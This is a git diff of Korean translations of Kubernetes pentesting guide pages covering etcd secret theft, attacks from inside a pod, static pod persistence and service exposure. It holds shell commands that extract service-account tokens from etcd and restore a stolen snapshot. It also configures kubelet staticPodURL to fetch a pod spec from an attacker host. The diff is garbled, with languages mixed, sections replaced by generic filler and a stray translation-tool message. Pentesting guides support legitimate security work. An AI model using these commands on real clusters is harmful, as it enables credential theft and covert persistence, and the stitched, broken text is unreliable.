갖습니다. 따라서 **노드에서 metadata endpoint에 접근**해 보세요(또는 hostNetwork가 True인 pod에서): {{#ref}} kubernetes-pivoting-to-clouds.md -{{#endref}} +{#endref} ### Steal etcd -컨테이너를 run할 Node의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)을 지정할 수 있다면, control-plane node 안에서 shell을 얻고 **etcd database**를 획득하세요: +컨테이너를 실행할 Node의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)을 지정할 수 있다면, control-plane node 안에서 shell을 얻고 **etcd database**를 얻으세요: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane 노드는 **role master**를 가지며, **cloud managed clusters에서는 그 안에서 아무것도 실행할 수 없습니다**. +control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**. -#### Read secrets from etcd 1 +#### `etcd`에서 secrets 읽기 1 -pod spec에서 `nodeName` selector를 사용해 pod를 control-plane 노드에서 실행할 수 있다면, 클러스터의 모든 설정과 모든 secrets를 포함하는 `etcd` database에 쉽게 접근할 수 있을 수 있습니다. +pod spec에서 `nodeName` selector를 사용해 control-plane node에서 pod를 실행할 수 있다면, 모든 secrets를 포함해 cluster의 모든 configuration이 들어 있는 `etcd` database에 쉽게 접근할 수 있을지도 모릅니다. -아래는 `etcd`가 현재 있는 control-plane 노드에서 실행 중일 때 `etcd`에서 secrets를 빠르게 가져오는 방법입니다. `etcdctl` client utility를 사용하는 pod를 띄우고, 어디서 실행되든 control-plane 노드의 credentials를 사용해 `etcd`에 연결하는 더 우아한 방법을 원한다면, @mauilion의 [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)를 확인하세요. +아래는 현재 있는 control-plane node에서 `etcd`가 실행 중일 때 `etcd`에서 secrets를 빠르게 가져오는 대충 만든 방법입니다. 더 우아한 방법으로는 `etcdctl` `etcd` client utility를 사용하는 pod를 띄우고, control-plane node의 credentials를 사용해 `etcd`가 어디서 실행되든 연결하는 방법이 있습니다. @mauilion의 [이 예시 manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)를 확인하세요. -**`etcd`가 control-plane 노드에서 실행 중인지 확인하고 database가 어디에 있는지 확인합니다 (이것은 `kubeadm`으로 생성된 cluster에서의 예시입니다)** +**`etcd`가 control-plane node에서 실행 중인지 확인하고 database 위치를 보세요 (이것은 `kubeadm`으로 생성된 cluster에서의 내용입니다)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -# Pod 내부에서 Kubernetes 공격하기 - -Kubernetes Pod 내부를 장악하면, 특히 클러스터 내부 네트워크와 서비스 계정에 접근할 수 있는 경우, 종종 더 많은 공격 기회를 얻을 수 있습니다. 이 관점에서는 Pod 내부에서 시작했을 때 사용할 수 있는 일반적인 기술과 고려 사항을 다룹니다. - -## 초기 확인 - -가장 먼저 다음을 확인하세요: - -- `whoami` -- `id` -- `hostname` -- 환경 변수 -- 마운트된 볼륨 -- 서비스 계정 토큰 - -이 정보는 현재 컨텍스트와 권한을 이해하는 데 도움이 됩니다. - -## 서비스 계정 토큰 - -Kubernetes Pod는 종종 서비스 계정 토큰을 `/var/run/secrets/kubernetes.io/serviceaccount/`에 마운트합니다. 이 토큰은 API 서버와 상호작용하는 데 사용될 수 있습니다. - -예를 들어: - -```bash -cat /var/run/secrets/kubernetes.io/serviceaccount/token -``` - -이 토큰과 `ca.crt`, `namespace` 파일을 사용하면 `kubectl`이나 `curl`로 Kubernetes API에 요청할 수 있습니다. - -## API 서버 열거 - -토큰이 있으면 다음과 같이 API를 열거할 수 있습니다: - -```bash -kubectl --token="$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" get pods -A -``` - -또는: - -```bash -curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc -``` - -권한이 충분하면 다른 namespace의 Pod, Secret, ConfigMap 등을 볼 수 있습니다. - -## RBAC 확인 - -서비스 계정이 어떤 작업을 할 수 있는지 확인하세요: - -```bash -kubectl auth can-i --list -``` - -또는 개별적으로: - -```bash -kubectl auth can-i get pods -kubectl auth can-i get secrets -kubectl auth can-i create pods -``` - -`create pods` 권한이 있으면, 더 많은 privilege를 얻기 위해 새 Pod를 생성할 수 있습니다. - -## Secret 탈취 - -`get secrets` 권한이 있으면 민감한 자격 증명을 읽을 수 있습니다. Secret은 base64로 인코딩되어 있으므로 디코딩해야 합니다. - -예: - -```bash -kubectl get secrets -A -kubectl get secret -o yaml -``` - -## ConfigMap과 환경 변수 - -ConfigMap에는 덜 민감한 설정이 들어 있지만, 때로는 credential이나 내부 엔드포인트가 포함됩니다. 또한 애플리케이션 Pod의 환경 변수에 hardcoded secret이 있는지 확인하세요. - -```bash -env -printenv -``` - -## 마운트된 볼륨 확인 - -Pod에 마운트된 볼륨은 호스트 경로, 데이터 디렉터리, 설정 파일을 드러낼 수 있습니다. - -```bash -mount -df -h -ls -la /mnt -``` - -특히 `hostPath` 볼륨은 host filesystem에 접근할 수 있게 할 수 있으므로 주의하세요. - -## 호스트 접근 가능성 - -만약 Pod가 privileged이거나 `hostPath`를 사용할 수 있다면, 호스트로 이동할 가능성이 있습니다. 다음과 같은 설정을 확인하세요: - -- `privileged: true` -- `hostNetwork: true` -- `hostPID: true` -- `hostPath` mount -- 추가 capabilities - -이러한 경우, container escape 또는 host compromise의 가능성이 커집니다. - -## 이미지와 바이너리 확인 - -컨테이너 이미지에 유용한 도구가 포함되어 있을 수 있습니다: - -- `curl` -- `wget` -- `nc` -- `bash` -- `python` -- `kubectl` - -없다면 최소한의 도구만으로 작업해야 합니다. - -## lateral movement - -클러스터 내부에서 얻은 credential이 다른 namespace나 다른 서비스에 재사용될 수 있습니다. 다음을 통해 추가 기회를 찾으세요: - -- 재사용된 password -- cloud metadata 접근 -- mounted secret -- database credential -- CI/CD 토큰 - -## 요약 - -Pod 내부에서 시작했을 때 핵심 목표는 다음입니다: - -1. 현재 권한과 identity 파악 -2. 서비스 계정 토큰과 마운트된 볼륨 확인 -3. Kubernetes API 열거 -4. RBAC 권한 검토 -5. Secret과 credential 수집 -6. host escape 또는 lateral movement 기회 탐색 +No source content was provided to translate. ```bash data-dir=/var/lib/etcd ``` -**etcd database에서 데이터를 보기:** +**etcd database에서 데이터를 확인하기:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**데이터베이스에서 tokens를 추출하고 service account 이름을 보여주기** +**데이터베이스에서 tokens를 추출하고 service account 이름을 보여줘** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**같은 명령이지만, kube-system 네임스페이스에서 기본 token만 반환하도록 몇 가지 grep을 추가한 버전** +**같은 명령이지만, kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 grep 추가** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` # Pod 내부에서 Kubernetes 공격하기 -Pod 내부에서 실행 중인 컨테이너에 대한 몇 가지 유용한 권한 상승 기술은 다음과 같습니다. +Kubernetes 환경은 종종 방대한 권한이 부여된 서비스 계정과 마운트된 시크릿을 가진 Pod를 호스팅하므로, 공격자가 Pod 내부에서 실행할 수 있게 되면 쉽게 권한을 상승시킬 수 있습니다. 이 장에서는 Pod 내부에서 시작해 클러스터를 더 깊이 탐색하고 공격하는 일반적인 방법을 설명합니다. -- **한 권한 있는 container에서 다른 container 공격** -- **unprivileged container에서 mounted Kubernetes credentials 탈취** -- **unprivileged container에서 mounted writable hostPath 악용** -- **Pod 내부에서 exploitation하여 node 직접 공격** -- **Pod 내부에서 namespace를 사용해 이미 존재하는 root 프로세스에 접근** +일반적으로 먼저 확인할 것은 해당 Pod가 Kubernetes API에 접근할 수 있는지입니다. 많은 경우 서비스 계정 토큰이 `/var/run/secrets/kubernetes.io/serviceaccount/token`에 마운트되어 있으며, 이를 사용해 API에 인증할 수 있습니다. 토큰이 있으면 `curl`이나 `kubectl`로 다음과 같은 작업을 할 수 있습니다: -대부분의 경우, 컨테이너 내부에서 더 높은 권한을 가진 다른 컨테이너를 공격할 수 있습니다. 또한 container가 mounted Kubernetes credentials에 접근할 수 있으면, 그 credentials를 사용해 클러스터 내부에서 더 많은 일을 할 수 있습니다. +- Pod, Deployment, Service, Secret, ConfigMap 열거 +- RBAC 권한 확인 +- 더 높은 권한의 시크릿 검색 +- 다른 네임스페이스로 이동할 기회 찾기 -## 네트워킹 +예를 들어, 현재 Pod의 서비스 계정으로 API를 호출하려면: -Pod 내의 container들은 같은 network namespace를 공유하므로, pod 내부의 모든 container는 동일한 IP와 일반적으로 동일한 port set을 공유합니다. container가 하나에서 다른 container로 트래픽을 보내고 받는 방식에 대해 더 알고 싶다면 [이 글](https://www.cncf.io/blog/2020/02/10/deep-dive-into-kubernetes-networking/)을 참고하세요. +```bash +TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) +curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api +``` -Pod 내부에 서로 다른 컨테이너들이 있더라도, 어떤 container가 더 높은 권한으로 실행되는 경우가 있습니다. 따라서 권한이 낮은 container에서 권한이 높은 container를 공격할 수 있습니다. 이러한 공격은 주로 다음과 같은 목표를 가집니다. +클러스터의 권한이 충분히 느슨하다면, `list` 및 `get` 권한만으로도 중요한 정보를 많이 얻을 수 있습니다. 특히 `Secret`은 민감한 데이터, 자격 증명, 외부 서비스 액세스 키를 포함할 수 있으므로 우선적으로 확인해야 합니다. -- mounted credentials 훔치기 -- node에서 실행 중인 프로세스에 접근하기 -- container escape 수행하기 -- host나 다른 container에 취약한 서비스를 노출시키기 +또 다른 흔한 경로는 마운트된 볼륨과 환경 변수를 확인하는 것입니다. 애플리케이션 컨테이너에는 종종 다음이 포함됩니다: -이런 경우, 권한이 낮은 container는 권한이 높은 container와 같은 network namespace를 공유하기 때문에, `localhost`를 통해 그 container의 서비스에 접근할 수 있습니다. +- 클라우드 자격 증명 +- 데이터베이스 비밀번호 +- 내부 서비스 토큰 +- 재사용 가능한 배포용 키 -예를 들어, privileged container가 `8080` port에서 service를 실행하고 있고, unprivileged container가 같은 Pod에 있다면, unprivileged container는 `localhost:8080`으로 접근할 수 있습니다. 이는 서비스가 외부에 노출되지 않아도 공격할 수 있음을 의미합니다. +컨테이너에서 호스트 네임스페이스나 호스트 파일시스템이 노출되어 있으면 더 큰 문제가 됩니다. 예를 들어 `privileged` 컨테이너, `hostPath` 마운트, 또는 과도하게 허용된 Linux capabilities는 호스트로 탈출하거나 호스트 자산을 조작할 가능성을 높입니다. + +확인해야 할 주요 항목: + +- `securityContext` +- 마운트된 서비스 계정 토큰 +- `hostPath` 볼륨 +- `privileged: true` +- `runAsUser: 0` +- 위험한 capabilities (`SYS_ADMIN`, `NET_ADMIN`, `DAC_READ_SEARCH` 등) + +다음 명령으로 현재 환경을 빠르게 살펴볼 수 있습니다: + +```bash +id +env +mount +cat /etc/hosts +cat /etc/resolv.conf +``` + +Kubernetes API 접근이 가능하면 다음과 같은 질문을 순서대로 확인하는 것이 유용합니다: + +1. 현재 서비스 계정은 무엇인가? +2. 이 계정이 할 수 있는 작업은 무엇인가? +3. 읽을 수 있는 `Secret`이 있는가? +4. 다른 Pod에 exec 할 수 있는가? +5. 새 Pod를 생성할 수 있는가? +6. `hostPath`나 privileged Pod를 만들 수 있는가? + +특히 `create pods`, `create deployments`, `create daemonsets`, `patch` 권한은 매우 위험할 수 있습니다. 이 권한들이 있으면 공격자는 새로운 컨테이너를 띄워 더 넓은 클러스터 접근을 시도할 수 있습니다. + +마지막으로, Kubernetes 내부에서의 공격은 단일 취약점보다 "현재 Pod가 이미 가진 권한"을 이해하는 데서 시작하는 경우가 많습니다. 따라서 가장 먼저 해야 할 일은 인증 정보, 네임스페이스, RBAC, 마운트, 그리고 노출된 클라우드 자격 증명을 체계적으로 수집하는 것입니다. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### etcd 2에서 secrets 읽기 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** 데이터베이스의 스냅샷을 생성합니다. 자세한 내용은 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하세요. -2. 원하는 방법으로 **`etcd`** 스냅샷을 노드 밖으로 전송합니다. -3. 데이터베이스의 압축을 풉니다: +1. **`etcd`** database의 snapshot을 생성한다. 추가 정보는 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하라. +2. 원하는 방법으로 **`etcd`** snapshot을 node 밖으로 transfer한다. +3. database를 unpack한다: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. 로컬 머신에서 **`etcd`**를 시작하고, stolen snapshot을 사용하도록 설정합니다: +4. 로컬 머신에서 **`etcd`**를 시작하고, 훔친 snapshot을 사용하게 합니다: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' @@ -440,31 +341,31 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. secfrets 얻기: +6. secfrets를 얻기: ```bash etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -_Static Pods_는 API server가 이를 관찰하지 않는 특정 node에서 kubelet daemon이 직접 관리합니다. control plane이 관리하는 Pods(예: Deployment)와 달리, **kubelet은 각 static Pod를 감시**하며 실패하면 다시 시작합니다. +_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails). -따라서 static Pods는 항상 특정 node의 하나의 **Kubelet**에 **bound**됩니다. +Therefore, static Pods are always **bound to one Kubelet** on a specific node. -**kubelet은 각 static Pod에 대해 Kubernetes API server에 mirror Pod를 자동으로 생성하려고 시도합니다.** 이는 node에서 실행 중인 Pods가 API server에서 보이지만, 거기서 제어할 수는 없다는 뜻입니다. Pod 이름에는 node hostname이 앞에 하이픈과 함께 접미사로 붙습니다. +The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen. > [!CAUTION] -> static Pod의 **`spec`은 다른 API object를 참조할 수 없습니다**(예: ServiceAccount, ConfigMap, Secret 등). 따라서 이 동작을 악용해서 현재 node에서 임의의 serviceAccount를 가진 pod를 띄워 cluster를 compromise할 수는 없습니다. 하지만 이를 이용해 다른 namespaces에서 pods를 실행할 수는 있습니다(어떤 이유로든 그게 유용하다면). +> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason). -node host 안에 있다면, 그 자체 안에 **static pod를 만들도록** 할 수 있습니다. 이는 **kube-system** 같은 다른 namespace에 **pod를 생성**할 수 있게 해줄 수 있으므로 꽤 유용합니다. +If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**. -static pod를 생성하려면 [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)를 참고하면 됩니다. 기본적으로 2가지가 필요합니다: +In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things: -- **kubelet service** 또는 **kubelet config**에서 **`--pod-manifest-path=/etc/kubernetes/manifests`** 파라미터를 설정하고 서비스를 재시작합니다 ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) -- **`/etc/kubernetes/manifests`** 안에 **pod definition**을 생성합니다 +- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service +- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`** -**좀 더 stealth한 다른 방법은:** +**Another more stealth way would be to:** -- **kubelet** config file에서 **`staticPodURL`** 파라미터를 수정하고 `staticPodURL: http://attacker.com:8765/pod.yaml` 같은 값을 설정합니다. 이렇게 하면 kubelet process가 **지정된 URL에서 configuration을 가져와** **static pod**를 생성합니다. +- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**. **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml @@ -494,7 +395,7 @@ type: Directory ``` ### Delete pods + unschedulable nodes -공격자가 **node를 침해**했고 다른 node에서 **pods를 삭제**할 수 있으며, **다른 node들이 pods를 실행하지 못하게** 만들 수 있다면, 해당 pods는 침해된 node에서 다시 실행되고, 그 안에서 실행되던 **tokens**를 **탈취**할 수 있습니다.\ +공격자가 **node를 compromise**했고, 다른 node에서 **delete pods**를 수행할 수 있으며 다른 node가 pod를 실행하지 못하게 만들 수 있다면, 해당 pod들은 compromise된 node에서 다시 실행되고 그는 그 안에서 실행 중인 **tokens**를 **steal**할 수 있다.\ [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Automatic Tools diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 2de91e284..93a28b926 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Kubernetes에서 **services를 노출하는 다양한 방법**이 있어 **internal** endpoint와 **external** endpoint 모두가 접근할 수 있습니다. 이 Kubernetes configuration은 상당히 중요합니다. administrator가 **attackers**에게 원래 접근할 수 없어야 하는 services에 대한 access를 줄 수 있기 때문입니다. +Kubernetes에서 서비스를 노출하는 **다양한 방법**이 있으며, 이를 통해 **internal** 엔드포인트와 **external** 엔드포인트 모두가 접근할 수 있습니다. 이 Kubernetes 설정은 매우 중요합니다. 관리자가 **공격자에게 접근해서는 안 되는 서비스에 대한 접근 권한**을 줄 수 있기 때문입니다. ### Automatic Enumeration -K8s가 public에 services를 노출하는 방법을 알아보기 전에, namespaces, services, ingresses를 list할 수 있다면 다음으로 public에 노출된 모든 것을 찾을 수 있다는 점을 알아두세요: +K8s가 public에 서비스를 노출하는 방법을 열거하기 전에, namespaces, services, ingresses를 나열할 수 있다면 다음으로 public에 노출된 모든 것을 찾을 수 있다는 점을 알아두세요: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,13 +20,13 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -**ClusterIP** service는 Kubernetes **service**의 **기본값**입니다. 클러스터 **내부**에 있는 다른 앱들이 접근할 수 있는 **클러스터 내부 서비스**를 제공합니다. **외부 접근은 없습니다**. +**ClusterIP** 서비스는 Kubernetes의 **기본** **service**입니다. 클러스터 내부의 다른 앱들이 접근할 수 있는 **클러스터 내부의 service**를 제공합니다. **외부 접근은 없습니다**. -하지만, Kubernetes Proxy를 사용하면 접근할 수 있습니다: +하지만, 이것은 Kubernetes Proxy를 사용하여 접근할 수 있습니다: ```bash kubectl proxy --port=8080 ``` -이제 다음 scheme를 사용하여 Kubernetes API를 통해 services에 접근할 수 있습니다: +이제 다음 스키마를 사용해 Kubernetes API를 통해 service에 접근할 수 있습니다: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` @@ -34,7 +34,7 @@ kubectl proxy --port=8080 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -이 service에 접근하려면: +이 service에 접근하기 위해: ```yaml apiVersion: v1 kind: Service @@ -52,13 +52,13 @@ protocol: TCP ``` _이 방법은 `kubectl`을 **인증된 사용자**로 실행해야 합니다._ -모든 ClusterIP를 나열하세요: +모든 ClusterIP 나열: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks. +**NodePort**가 사용되면, 모든 Node(즉, Virtual Machines)를 대상으로 지정된 포트가 열립니다. 이 특정 포트로 향하는 **Traffic**은 이후 체계적으로 **service로 라우팅**됩니다. 일반적으로 이 방식은 단점 때문에 권장되지 않습니다. 모든 NodePort 나열: ```bash @@ -81,24 +81,25 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -yaml에서 **nodePort**를 **지정하지 않으면**(이것이 열릴 포트입니다) **30000–32767 범위의 포트가 사용됩니다**. +If you **지정하지 않으면** yaml에서 **nodePort**(열릴 포트) **30000–32767 범위의 포트가 사용됩니다**. -NodePort 또는 LoadBalancer Services를 검토할 때는 traffic-policy 필드도 함께 살펴보세요. 이 필드는 특정 source에서 어떤 nodes와 backends가 유용한지 바꿉니다: +NodePort 또는 LoadBalancer Services를 검토할 때는 traffic-policy fields도 확인하세요. 왜냐하면 이는 주어진 source에서 어떤 nodes와 backends가 유용한지 바꾸기 때문입니다: ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local`은 NodePort/LoadBalancer 트래픽에 대해 원래 클라이언트 source IP를 보존하고, 다른 노드의 endpoints로 forwarding하지 않습니다. local ready endpoint가 없는 node는 Service에 다른 곳에 endpoints가 있어도 traffic을 drop할 수 있습니다. -- `externalTrafficPolicy: Cluster`는 default이며 어떤 node를 통해서도 forward할 수 있지만, backend logs에는 실제 외부 client IP 대신 node IP가 보일 수 있습니다. -- `internalTrafficPolicy: Local`은 cluster 내부 Service traffic을 source node에 local한 endpoints로 제한합니다. 이것은 locality routing이며, authorization boundary가 아닙니다. -- `sessionAffinity: ClientIP`는 한 client에서 반복 테스트할 때 같은 backend로 보내게 만들어, 수동 점검 중 다른 ready endpoints를 숨길 수 있습니다. -- `trafficDistribution`과 EndpointSlice topology hints는 새로운 clusters에서 같은 zone 또는 같은 node의 endpoints를 선호할 수 있습니다; 이를 hard security policy가 아니라 routing preference로 취급하세요. +- NodePorts는 보통 node addresses에 노출되지만, kube-proxy는 `--nodeport-addresses` 또는 설정의 `nodePortAddresses`로 address ranges를 제한할 수 있다. NodePort가 모든 node IP에서 reachable하다고 가정하기 전에 활성 kube-proxy 또는 CNI service-proxy replacement configuration을 확인하라. +- `externalTrafficPolicy: Local`은 NodePort/LoadBalancer traffic에 대해 원래 client source IP를 유지하고, 다른 node의 endpoints로 forwarding하지 않는다. local ready endpoint가 없는 node는 Service에 다른 곳에 endpoints가 있더라도 traffic을 drop할 수 있다. +- `externalTrafficPolicy: Cluster`는 default이며 어떤 node를 통해서도 forward할 수 있지만, backend logs에는 실제 external client IP 대신 node IP가 보일 수 있다. +- `internalTrafficPolicy: Local`은 cluster 내부 Service traffic을 source node에 local인 endpoints로만 제한한다. 이는 locality routing이지 authorization boundary가 아니다. +- `sessionAffinity: ClientIP`는 한 client에서 반복하는 tests가 같은 backend를 hit하게 만들어, manual checks 중 다른 ready endpoints를 가릴 수 있다. +- `trafficDistribution`과 EndpointSlice topology hints는 최신 clusters에서 같은 zone 또는 같은 node endpoints를 선호할 수 있다. 이를 hard security policy가 아니라 routing preference로 취급하라. ### LoadBalancer -cloud provider의 load balancer를 **사용하여** Service를 외부에 노출합니다. GKE에서는 [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)가 생성되며, 하나의 IP address를 제공하고 모든 traffic을 service로 forwarding합니다. AWS에서는 Load Balancer가 실행됩니다. +cloud provider의 load balancer를 **사용하여** Service를 외부에 expose한다. GKE에서는 이것이 [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)를 생성하며, 단일 IP address를 제공하고 모든 traffic을 service로 forward한다. AWS에서는 Load Balancer를 launch한다. -노출된 service마다 LoadBalancer 비용을 지불해야 하므로, 비쌀 수 있습니다. +노출된 서비스마다 LoadBalancer 비용을 지불해야 하므로, 비용이 많이 들 수 있다. 모든 LoadBalancers 나열: ```bash @@ -111,11 +112,11 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam > > For finding them, check for load balancers with values in the `EXTERNAL-IP` field. -**external IP**로 (**destination IP**로) 클러스터로 들어오는 트래픽은 Service port에서 **Service endpoints 중 하나로 라우팅**됩니다. `externalIPs`는 Kubernetes가 관리하지 않으며 클러스터 관리자의 책임입니다. +Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator. -`externalIPs`는 민감한 route-control 필드입니다. 주변 네트워크가 해당 IP를 클러스터로 라우팅하는 경우, 이를 설정할 수 있는 사용자가 Service 소유자가 제어해서는 안 되는 IP address의 트래픽을 자신이 가져갈 수 있기 때문입니다. Kubernetes는 v1.36에서 Service `externalIPs`의 deprecation과 제거 계획을 발표했으므로, 가능한 경우 LoadBalancer integrations 또는 Gateway API 같은 controller-owned exposure mechanisms를 선호하고, 이 필드가 아직 존재하는 동안에는 주의해서 restrict/admit 하십시오. +`externalIPs` is a sensitive route-control field because a user who can set it might claim traffic for an IP address the Service owner should not control if the surrounding network routes that IP to the cluster. Kubernetes announced the deprecation and planned removal of Service `externalIPs` in v1.36, so prefer controller-owned exposure mechanisms such as LoadBalancer integrations or Gateway API where possible, and restrict/admit this field carefully while it still exists. -Service spec에서 `externalIPs`는 모든 `ServiceTypes`와 함께 지정할 수 있습니다. 아래 예제에서 "`my-service`"는 "`80.11.12.10:80`" (`externalIP:port`)의 clients가 접근할 수 있습니다. +In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -134,7 +135,7 @@ externalIPs: ``` ### ExternalName -[**문서에서:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 타입의 Services는 일반적인 selector인 `my-service`나 `cassandra`가 아니라, **Service를 DNS 이름에 매핑**합니다. 이러한 Services는 `spec.externalName` 파라미터로 지정합니다. +[**문서에서:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 타입의 Services는 일반적인 selector인 `my-service` 또는 `cassandra`가 아니라, **Service를 DNS name에 매핑**합니다. 이러한 Services는 `spec.externalName` 파라미터로 지정합니다. 예를 들어, 이 Service 정의는 `prod` namespace의 `my-service` Service를 `my.database.example.com`에 매핑합니다: ```yaml @@ -147,15 +148,17 @@ spec: type: ExternalName externalName: my.database.example.com ``` -호스트 `my-service.prod.svc.cluster.local`을 조회할 때, cluster DNS Service는 값이 `my.database.example.com`인 `CNAME` 레코드를 반환합니다. `my-service`에 접근하는 것은 다른 Services와 같은 방식으로 동작하지만, 중요한 차이점은 **redirection이 proxying이나 forwarding이 아니라 DNS level에서 발생한다**는 것입니다. +`my-service.prod.svc.cluster.local`을 조회하면, cluster DNS Service는 `my.database.example.com` 값을 가진 `CNAME` 레코드를 반환합니다. `my-service`에 접근하는 것은 다른 Services와 같은 방식으로 동작하지만, 중요한 차이점은 **redirection이 proxying이나 forwarding이 아니라 DNS level에서 발생한다**는 점입니다. -모든 ExternalNames를 나열하세요: +Security review note: Ingress controller, Gateway implementation, service mesh, 또는 application이 ExternalName Service를 backend로 허용하는 경우, controller는 자신의 network position에서 external name을 resolve하고 도달할 수 있습니다. 이렇게 되면 users가 route object와 ExternalName Service를 둘 다 생성할 수 있을 때, public routing infrastructure를 통해 internal-only services가 노출될 수 있습니다. 이를 safe하다고 판단하기 전에 특정 controller implementation과 version, ExternalName support flags 또는 allowlists, route status, 그리고 정확한 target domain을 검토하세요. 예를 들어, Skipper는 v0.24.0에서 ExternalName backends를 기본적으로 비활성화하고 